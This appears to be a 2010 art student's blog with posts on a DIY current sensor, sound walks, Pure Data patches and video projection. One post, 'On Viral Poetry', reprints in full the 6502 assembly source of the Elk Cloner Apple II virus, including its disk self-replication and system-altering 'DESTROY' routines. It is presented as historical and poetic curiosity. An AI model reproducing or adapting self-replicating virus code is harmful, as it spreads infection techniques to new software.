NYC Hackathon DIY Current Sensors

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Get some wire

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get some ferrous, circular materials, I used the tops of pins

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cut a small insicion in the side

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cut out centers, they don’t have to be even

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wrap the circles with a wire, about 60 turns each

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get 6 resistors, I used 100k resistors

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fold over their legs

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and cut off the excess

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solder two resistors to one end of the wire coil

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you can wrap them around all sorts of things found around the house

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attach a wire to each resistor and one to the other end of the wire

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get an xbee and feed it 3.3v dc

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NOTE! Do not cross power and ground cables on your circuit!

cuircuit graciously borrowed from: http://openenergymonitor.org/emon/node/28

put the pin into pin one on the xbee, one of the resistor wires to power, the other to ground

the other xbee will relay messages the internet

the arduino code can be downloaded here

May 23, 2010 | Comments Off  | Tags: , ,

Performance of JMZ Tunnel at NYU Television Center

Following the score below for one of my sound walks, Arturo Vidich, performed the JMZ Tunnel at the Canal Street Station in the hallway of the television center at NYU.

Video Here

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April 7, 2010 | Comments Off  | Tags: , , , , , ,

SinthCity, network

since my project is in a way, already networked, in the contemporary sense of the word, (it is commercially distributable over the internet, it is open source, it is a user personalized experience, they can upload their recordings of the experience to a central database, chat in forums, etc, developers can download my code, and there is an open source application that can be downloaded in order to DJ, over a network, with the patch), I decided to “network” my project by broadcasting it over a radio network. It is a two way network, so direct communication can happen in real time, but it is localized to the range of transmission of my radios (40 feet radius in NY), and it helps to have line of sight to make the experience fuller

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March 31, 2010 | Comments Off  | Tags: , , , ,

SinthCity, notation

Notation of my project for Sound in the City, I hope to use it  a score

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March 31, 2010 | Comments Off  | Tags: , , ,

Sound and the City Research

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What I tried to do:

I took “projection” (even though it was not mention it was implied) too relevantly.

My first impulse was to take a projector and use the film inside it as a trope for the “reality” in my project and a transparent process of automated manipulation (including recording, manipulation and re-projection of that processed image onto the same surface with a digital projector) as instructional performance (think learning by seeing) as a way to communicate my project to a broader audience.

I spent a lot of time on the film, I was looking for it’s reality. I found scratched audio to be a good trope because it has direct correlation of form, image and sound. But this was more about film as a medium.

Next I collected a series of screen tests and began to splice them together. But this was also problematic because while it represents the politics of film in a nice way, it has nothing to do with some “reality” of film.

Last night I finally realized, naturally that the thing that makes most sense about projection was to go to my site, have its photons project onto my film, project my film onto the screen and then begin to “edit” live the footage, eating it up and spitting it out with the digitizing process in a very clear way.

The effects in my patch were all designed to have to do with working with film (ie affecting framerate, exposure, etc. ). But that is probably not the right approach again, probably the best method would have been to try to affect only the time and rhythm of the image, or the content in a way that recognizes it’s shapes.

Documentation of what I did below.

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March 24, 2010 | Comments Off  | Tags: , , , , ,

omg im going to bed

thought i was banging it too often, turns out the world is backwards

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March 18, 2010 | Comments Off  | Tags: , , ,

how to crash pd using internet radio!

i was trying to browse the interwebz radio with a slider,

guess that bangs the connect port too often, dunno, it made cool circe 1996 modem like sounds from the suite of polish dance stations I was trying to toggle between, till it crashed.

anon

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March 18, 2010 | Comments Off  | Tags: , , ,

VJing with PD

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The Amazing Winslow Porter at Not Spring Not Winter

as part of Site Fest NYC

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March 10, 2010 | Comments Off  | Tags: , , , ,

Sound &da City assign. 2

Combine Image and Sound.

My first desire and impulse  is to go scream at a painting. What is a more prototypical created image than a painting, and what is more primal than a scream?

What I would have done:

Walk into the Reina Sophia, pay my ticket, go up the stairs, walk up to Guernica, and, start screaming, for just as long as the air in my lungs lasts, letting it die off naturally, and then walk away.

Simulacra: http://yuditskaya.com/sound/guernicaScream.mp4

Various foley, and samples and an excerpt from we all scream alone, by Gregory Whitehead, and a photograph of Guernica displayed at the Reina Sophia.

The actual output: Lots of  attempts at integrating video with audio as a VJ tool in PD, including a patch with a bandpass filter applied to both image and sound, long live synesthesia.

http://yuditskaya.com/pd/SvideoLibrary.zip

February 24, 2010 | Comments Off  | Tags: , , ,

On Viral Poetry

computer virus is a computer program that can copy itself and infect a computer.

From Wikipedia:

The Creeper virus was first detected on ARPANET, the forerunner of the Internet, in the early 1970s.[4] Creeper was an experimental self-replicating program written by Bob Thomas at BBN Technologies in 1971.[5] Creeper used the ARPANET to infect DEC PDP-10 computers running the TENEX operating system. Creeper gained access via the ARPANET and copied itself to the remote system where the message, “I’m the creeper, catch me if you can!” was displayed. The Reaper program was created to delete Creeper.[6]

A program called “Rother J” was the first computer virus to appear “in the wild” — that is, outside the single computer or lab where it was created.[7] Written in 1981 by Richard Skrenta, it attached itself to the Apple DOS 3.3 operating system and spread via floppy disk.[7][8] This virus, created as a practical joke when Skrenta was still in high school, was injected in a game on a floppy disk. On its 50th use the Elk Cloner virus would be activated, infecting the computer and displaying a short poem beginning “Elk Cloner: The program with a personality.”

Elk Cloner (circa 1982)

     Elk Cloner:  The program with a personality

        It will get on all your disks
          It will infiltrate your chips
            Yes it's Cloner!

        It will stick to you like glue
          It will modify ram too
            Send in the Cloner!


and:

	ORG $9000
VERSN	DFB $02
HIMEM	LDA #$FF
	STA $4C
	LDA #$8F
	STA $4D
DOPTCH	LDA #$20
	STA $A180
	LDA #$5B
	STA $A181
	LDA #$A7
	STA $A182
RUNPTCH	LDA #$AD
	STA $A4D1
	LDA #$B6
	STA $A4D2
	LDA #$AA
	STA $A4D3
LODPTCH	LDA #$4C
	STA $A413
	LDA #>LOD
	STA $A414
	LDA #<LOD
	STA $A415
BLDPTCH	LDA #$4C
	STA $A35D
	LDA #>BLOD
	STA $A35E
	LDA #<BLOD
	STA $A35F
CATPTCH	LDA #$4C
	STA $A56E
	LDA #>CATALOG
	STA $A56F
	LDA #<CATALOG
	STA $A570
USRPTCH	LDA #$4C
	STA $0A
	LDA #>USRCMD
	STA $0B
	LDA #<USRCMD
	STA $0C
BOOTUP	CLD
	JSR READ
	LDX $B3BF
	INX
	STX $B3BF
	JSR WRITE
	JSR DESTROY
	JMP $A180
TESTON	LDA #$00
	STA FLAG1
	LDA $AA68
	STA $B7EA
	JSR READ
	LDA $B3C2
	CMP VERSN
	BEQ TESTON1
	LDA #$01
	STA FLAG1
TESTON1	RTS
LOD	JSR TESTON
	LDA FLAG1
	CMP #$00
	BEQ LOD1
	JSR CLONE
LOD1	JSR $A316
	JMP $A416
BLOD	JSR TESTON
	LDA FLAG1
	CMP #$00
	BEQ BLOD1
	JSR CLONE
BLOD1	JSR $A2A8
	JMP $A360
CATALOG	JSR TESTON
	LDA #$06
	JSR $A2AA
	LDA $B5BF
	STA $AA66
	LDA FLAG1
	CMP #$00
	BEQ RETURN
	JSR CLONE
RETURN	LDA #$0
	STA $B3BE
	STA $B3BF
	STA $B3C0
	RTS
CLONE	CLC
	JSR READ
	LDA IDENT
	STA $B3C0
	LDA VERSN
	STA $B3C2
	JSR WRITE
	LDA $AA68
	STA $B7EA
	LDA #$02
	STA $B7F4
	STA $B7EC
	LDA #$08
	STA $B7ED
	LDA #$0
	STA $B7EB
	STA $B7F0
	LDA #$95
	STA $B7F1
CLONE1	LDA #$B7
	LDY #$E8
	JSR $B7B5
	CLD
	BCC CLONE2
	RTS
CLONE2	DEC $B7ED
	DEC $B7F1
	LDA $B7F1
	CMP #$8F
	BNE CLONE1
	LDA #$02
	STA $B7F1
	LDA #$01
	STA $B7F4
	STA $B7EC
	LDA #$0
	STA $B7ED
	LDA #$B7
	LDY #$E8
	JSR $B7B5
	CLD
	BCC CLONE3
	RTS
CLONE3	LDA #$4C
	STA $280
	LDA #$00
	STA $281
	LDA #$9B
	STA $282
	LDA #$02
	STA $B7F4
	LDA #$B7
	LDY #$E8
	JSR $B7B5
	CLD
	BCC CLONE4
	RTS
CLONE4	LDA #$0
	STA $B7EC
	LDA #$A
	STA $B7ED
	LDA #$95
	STA $B7F1
	LDA #$B7
	LDY #$E8
	JSR $B7B5
	CLD
	RTS
READ	LDA #$01
	STA $B7F4
	JMP VTOC
WRITE	LDA #$02
	STA $B7F4
VTOC	LDA #$11
	STA $B7EC
	LDA #$0
	STA $B7ED
	LDA #$BB
	STA $B7F0
	LDA #$B3
	STA $B7F1
	LDA #$0
	STA $B7EB
	LDA #$B7
	LDY #$E8
	JSR $B7B5
	CLD
	RTS
PRINT	STY $FC
	STA $FD
	LDY #$00
PRINT0	LDA ($FC),Y
	CMP #$00
	BEQ PRINT1
	JSR $FDED
	INY
	JMP PRINT0
PRINT1	RTS
PRTMSG	LDY #>MSG
	LDA #<MSG
	JSR PRINT
PRTNUM	LDA IDENT
	STA $44
	JSR $AE42
	LDA #$8D
	JSR $FDED
	RTS
MSG	ASC 'ELK CLONER V2.0 # '
	DFB $0
IDENT	DFB $1
FLAG1	DFB $00
RET	RTS
USRCMD	JSR $E6FB
	CPX #$0B
	BNE CMD2
	JSR PRTMSG
	RTS
CMD2	CPX #$0C
	BNE CMD3
	LDY #>REPORT
	LDA #<REPORT
	JSR PRINT
	JSR READ
	LDA $B3BF
	STA $44
	JSR $AE42
	LDA #$8D
	JSR $FDED
	RTS
CMD3	CPX #$0D
	BNE CMD4
	JSR CLONE
	RTS
CMD4	CPX #$0A
	BNE USRERR
	JSR PRPOEM
	RTS
USRERR	LDY #>UERR
	LDA #<UERR
	JSR PRINT
	JSR $FBDD
	JMP $9DBF
UERR	DFB $8D
	ASC 'ILLEGAL QUANTITY ERROR'
	DFB $0
PRPOEM	JSR $FC58
	LDY #>POEM
	LDA #<POEM
	JSR PRINT
	RTS
REPORT	ASC 'BOOT COUNT: '
	DFB $0
POEM	ASC 'ELK CLONER:'
	DFB $8D,$8D
	ASC '   THE PROGRAM WITH A PERSONALITY'
	DFB $8D,$8D,$8D
	ASC 'IT WILL GET ON ALL YOUR DISKS'
	DFB $8D
	ASC 'IT WILL INFILTRATE YOUR CHIPS'
	DFB $8D
	ASC 'YES IT'
	DFB $A7
	ASC 'S CLONER!'
	DFB $8D,$8D
	ASC 'IT WILL STICK TO YOU LIKE GLUE'
	DFB $8D
	ASC 'IT WILL MODIFY RAM TOO'
	DFB $8D
	ASC 'SEND IN THE CLONER!'
	DFB $8D,$8D,$8D,$8D,$0
IOERR	LDY #>ERRMSG
	LDA #<ERRMSG
	JSR PRINT
	JSR $FBDD
	JMP $9DBF
ERRMSG	DFB $8D,$8D
	ASC 'I/O ERROR'
	DFB $8D,$00
DESTROY	LDA $B3BF
	CMP #10
	BNE DEST1
	LDA #$69
	STA $3F2
	LDA #$FF
	STA $3F3
	JSR $FB6F
	RTS
DEST1	CMP #15
	BNE DEST2
	LDA #$3F
	STA $32
	RTS
DEST2	CMP #20
	BNE DEST3
	LDA $C030
	LDA $C030
	LDA $C030
	RTS
DEST3	CMP #25
	BNE DEST4
	LDA #$7F
	STA $32
	RTS
DEST4	CMP #30
	BNE DEST5
	LDA #'I'
	STA $B3A7
	LDA #'T'
	STA $B3A8
	LDA #'B'
	STA $B3A9
	LDA #'A'
	STA $B3AA
	RTS
DEST5	CMP #35
	BNE DEST6
	LDA #$85
	STA $AAB2
	RTS
DEST6	CMP #40
	BNE DEST7
	LDA #$00
	STA $3F2
	LDA #$03
	STA $3F3
	JSR $FB6F
	LDA #$4C
	STA $300
	LDA #$00
	STA $301
	LDA #$03
	STA $302
	RTS
DEST7	CMP #45
	BNE DEST8
	LDA #$80
	STA $D6
	RTS
DEST8	CMP #50
	BNE DEST9
	LDA #>PRPOEM
	STA $3F2
	LDA #<PRPOEM
	STA $3F3
	JSR $FB6F
	RTS
DEST9	CMP #55
	BNE DEST10
	LDA #$FF
	STA $BDD3
	RTS
DEST10	CMP #60
	BNE DEST11
	LDA #$20
	STA $BDD3
	RTS
DEST11	CMP #65
	BNE DEST12
	LDA #$4C
	STA $A180
	LDA #$69
	STA $A181
	LDA #$FF
	STA $A182
	RTS
DEST12	CMP #70
	BNE DEST13
	LDA #$10
	STA $BDD3
	RTS
DEST13	CMP #75
	BNE DEST14
	JMP $C600
DEST14	CMP #76
	BNE DEST15
	JMP $C600
DEST15	CMP #77
	BNE DEST16
	JMP $C600
DEST16	CMP #78
	BNE DEST17
	JMP $C600
DEST17	CMP #79
	BNE DEST18
	JSR READ
	LDA #$00
	STA $B3BF
	JSR WRITE
	RTS
DEST18	RTS
LOADER	ORG $9500
	LDA #$02
	STA $B7EC
	LDA #$01
	STA $B7F4
	LDA #$03
	STA $B7ED
	LDA #$0
	STA $B7EB
	STA $B7F0
	LDA #$90
	STA $B7F1
LOAD1	LDA #$B7
	LDY #$E8
	JSR $B7B5
	INC $B7ED
	INC $B7F1
	LDA $B7F1
	CMP #$96
	BCC LOAD1
	JMP HIMEM
February 19, 2010 | Comments Off  | Tags: , ,

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